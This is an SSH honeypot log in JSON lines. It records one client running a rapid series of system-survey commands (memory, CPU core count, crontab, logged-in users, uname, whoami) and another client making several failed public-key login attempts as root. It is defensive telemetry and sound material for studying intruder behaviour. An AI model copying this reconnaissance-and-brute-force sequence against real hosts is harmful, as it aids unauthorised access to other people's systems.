{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:44.865430Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.046529Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.050283Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.316619Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.497314Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.501159Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.504752Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.774801Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.969300Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:45.972241Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:46.235763Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:46.627775Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:46.631219Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.120.230.72","src_port":41196,"dst_ip":"10.17.0.5","dst_port":22,"session":"9375d7f5c61a","protocol":"ssh","message":"New connection: 194.120.230.72:41196 (10.17.0.5:22) [session: 9375d7f5c61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:46.638211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:46.642885Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:46.743643Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:46.894485Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.083971Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.086810Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:b3:74:17:01:6f:71:53:15:19:3f:3f:88:e9:fb:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrgOrM6D+23rps62t6+lLvehk6Jc3q3ahZsSxrQoEfOKQYpJGPk35xf17VW9z7sQruNDhg4B2Uarnv4Z+GbYmZi8AjE3635yW32aqkJcpsbd8n8aW6/NVAjkz9EcSFdwOsmywriA8ZpadOkUCs096NV2/3lSMZ5OkwmVpurZ754SQtp5MusxHAqkdVhb1or2E8vlUpN//bMxsbwC7hddt5/0rovKelzXjN+xLg5JaT+eN2QkPOnZnO/4iANj30U+PQ3nRx3VB9xVwNyK63Qji2i0seBRCo/4xxrQk8oU3CtBIS7bOrSGvpHsApSv8PNagyVH71f0UlRjaTGUa9EWTv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:b3:74:17:01:6f:71:53:15:19:3f:3f:88:e9:fb:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.285440Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:b3:74:17:01:6f:71:53:15:19:3f:3f:88:e9:fb:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrgOrM6D+23rps62t6+lLvehk6Jc3q3ahZsSxrQoEfOKQYpJGPk35xf17VW9z7sQruNDhg4B2Uarnv4Z+GbYmZi8AjE3635yW32aqkJcpsbd8n8aW6/NVAjkz9EcSFdwOsmywriA8ZpadOkUCs096NV2/3lSMZ5OkwmVpurZ754SQtp5MusxHAqkdVhb1or2E8vlUpN//bMxsbwC7hddt5/0rovKelzXjN+xLg5JaT+eN2QkPOnZnO/4iANj30U+PQ3nRx3VB9xVwNyK63Qji2i0seBRCo/4xxrQk8oU3CtBIS7bOrSGvpHsApSv8PNagyVH71f0UlRjaTGUa9EWTv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.289019Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.349107Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:5b:bf:c7:3a:d3:f3:41:81:06:f1:b4:1e:2c:ee:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8P43mgJoZIXOFdIx2mEn71xiAt03PIGlh4xC6WTsS5xjm/iHYUaI5gx6O6pQ5nTBDAPcGetEVagHho/BmpHcn86Y4nVX73tDZ/QzduQvnJB6SMMvKU0/TX4mK3Mq8mkbV447ZmTwK6rshMhf6wRtfeJ0tOAtFeKdxJUzyH+yx3MiPVtcETYTZro1+zllyc+qMwzHmZpgyhWjFU6g2R74cUqrWZ8HM6QFs/j1T5GXSaVbhdV/vQD2kl8S06Tp4rByE09mP6NjjIYVcGG5TWr8RE31qMNHAlH+tvckFHkeo+nmSdOF9vWpxZCxuBEAnceUKLafmfXl2KVlKS/NYCgzN","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:5b:bf:c7:3a:d3:f3:41:81:06:f1:b4:1e:2c:ee:f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.389753Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:5b:bf:c7:3a:d3:f3:41:81:06:f1:b4:1e:2c:ee:f2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8P43mgJoZIXOFdIx2mEn71xiAt03PIGlh4xC6WTsS5xjm/iHYUaI5gx6O6pQ5nTBDAPcGetEVagHho/BmpHcn86Y4nVX73tDZ/QzduQvnJB6SMMvKU0/TX4mK3Mq8mkbV447ZmTwK6rshMhf6wRtfeJ0tOAtFeKdxJUzyH+yx3MiPVtcETYTZro1+zllyc+qMwzHmZpgyhWjFU6g2R74cUqrWZ8HM6QFs/j1T5GXSaVbhdV/vQD2kl8S06Tp4rByE09mP6NjjIYVcGG5TWr8RE31qMNHAlH+tvckFHkeo+nmSdOF9vWpxZCxuBEAnceUKLafmfXl2KVlKS/NYCgzN","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.393229Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.539994Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.544043Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b1:ce:87:9a:2b:fc:b6:4a:b5:62:25:70:8b:40:eb:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbAdjoftsALahFrBoluSTwcHJ7+gAIETftdX1bgEid2jg+zU1Co/pXpagAdkLkbMfuAmP7jwOMzNAuo+tnVvNxvO337B23b4okgFT378FVS8Pyi2sSOHkspLl5u/1f10gAJ4TbvnmMaX7g045He7SoC2DqFhLsAdnL2MDHYSJ83zLYzj9gz2uDhpoHcwgCDs/0dkl8HrGJuPqH6kRh0VSpMIKgMbOmjbSxJ6Q9aVWwfsxwCzp5qEp4K0pdecFqpdCrvureRvs3OzAsqBJOB3fUwOTIHtzRWoTKy+CoFZICrczB3JJblTCOB0rYuwl9NtK9ePwo3cuu5A4dEiSyQ6lJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b1:ce:87:9a:2b:fc:b6:4a:b5:62:25:70:8b:40:eb:30","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.552387Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b1:ce:87:9a:2b:fc:b6:4a:b5:62:25:70:8b:40:eb:30","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCbAdjoftsALahFrBoluSTwcHJ7+gAIETftdX1bgEid2jg+zU1Co/pXpagAdkLkbMfuAmP7jwOMzNAuo+tnVvNxvO337B23b4okgFT378FVS8Pyi2sSOHkspLl5u/1f10gAJ4TbvnmMaX7g045He7SoC2DqFhLsAdnL2MDHYSJ83zLYzj9gz2uDhpoHcwgCDs/0dkl8HrGJuPqH6kRh0VSpMIKgMbOmjbSxJ6Q9aVWwfsxwCzp5qEp4K0pdecFqpdCrvureRvs3OzAsqBJOB3fUwOTIHtzRWoTKy+CoFZICrczB3JJblTCOB0rYuwl9NtK9ePwo3cuu5A4dEiSyQ6lJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.556072Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e0:f5:86:05:25:10:9d:2a:56:d0:a5:df:4d:f9:69:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJyMB7EAz5rnslUjIB8nPXJsOM8KEXjxUwzrO3AVWk/zRagRw2MLrWjAGadM29NHKzwYftAN7sglSiYDhIJqcstmIdKha6oTSHtOHVA83cIkDgVdpKljKGk6+7skzUgxyZyYrIOfoZEMAoo8KwOAYa8WCZV4Bi7pX6DPtpFhr8HWu1JJwEGw5WEyQ3MsDaQMXgDnF1Eaj7iwNCP9sEL9XcYIu5vrp6nlURMcyqRW9nBhD8cJn7RDaIQ5YGYPIVfNp/c+ww6z7DhtYFx3oMexWIQ56Cmt39q/wBG/ePm9bsAA4tgLIxu/Zl2jxWlGN6DYOw03H2OWgNyIA+FllcErAJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e0:f5:86:05:25:10:9d:2a:56:d0:a5:df:4d:f9:69:74","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.661311Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e0:f5:86:05:25:10:9d:2a:56:d0:a5:df:4d:f9:69:74","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJyMB7EAz5rnslUjIB8nPXJsOM8KEXjxUwzrO3AVWk/zRagRw2MLrWjAGadM29NHKzwYftAN7sglSiYDhIJqcstmIdKha6oTSHtOHVA83cIkDgVdpKljKGk6+7skzUgxyZyYrIOfoZEMAoo8KwOAYa8WCZV4Bi7pX6DPtpFhr8HWu1JJwEGw5WEyQ3MsDaQMXgDnF1Eaj7iwNCP9sEL9XcYIu5vrp6nlURMcyqRW9nBhD8cJn7RDaIQ5YGYPIVfNp/c+ww6z7DhtYFx3oMexWIQ56Cmt39q/wBG/ePm9bsAA4tgLIxu/Zl2jxWlGN6DYOw03H2OWgNyIA+FllcErAJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.665092Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"74:0c:98:bd:53:82:16:24:4c:87:de:8e:b2:fc:d8:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXgNnsQ0gJXPXSalc3lsDSsQ/BL43zexh3m7k6n06roMZfwJTk6gBeTAh6cBSvuqGiFmC0fqk9eELfswjif9ldESAbQP4u70JhDh2Ca+Y6WrOr4eRpjJz9CBIab5XJ1AD616xvVsFzjCZOJb727NVoSSzh396waeLjbj6sj2MCNJk4VUclQJtNSv6XCFjd291In2XdRJyqI+7k0OTDStAADOKxQjx5fPgTufgAH+B8yJcn8D3LAjpAzYRMYbZfq5rtxIFYJC45NSm1dYIIulb/1XW6Yj94ld8YsHM6oOhN9Y7fR+rxNdeDPnCF6mJoNbQIa5dQ6eWVq78TL1m972a5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 74:0c:98:bd:53:82:16:24:4c:87:de:8e:b2:fc:d8:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.765727Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"74:0c:98:bd:53:82:16:24:4c:87:de:8e:b2:fc:d8:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCXgNnsQ0gJXPXSalc3lsDSsQ/BL43zexh3m7k6n06roMZfwJTk6gBeTAh6cBSvuqGiFmC0fqk9eELfswjif9ldESAbQP4u70JhDh2Ca+Y6WrOr4eRpjJz9CBIab5XJ1AD616xvVsFzjCZOJb727NVoSSzh396waeLjbj6sj2MCNJk4VUclQJtNSv6XCFjd291In2XdRJyqI+7k0OTDStAADOKxQjx5fPgTufgAH+B8yJcn8D3LAjpAzYRMYbZfq5rtxIFYJC45NSm1dYIIulb/1XW6Yj94ld8YsHM6oOhN9Y7fR+rxNdeDPnCF6mJoNbQIa5dQ6eWVq78TL1m972a5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.770096Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.807999Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:47.872418Z","src_ip":"194.120.230.72","session":"9375d7f5c61a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:48.007639Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:48.011163Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:48.277014Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:48.454279Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:48.457705Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:48.789244Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:48.978808Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:48.982558Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:49.245359Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:49.432623Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:49.436613Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T19:19:49.699869Z","src_ip":"201.77.124.248","session":"62f4400810e2","protocol":"ssh"}
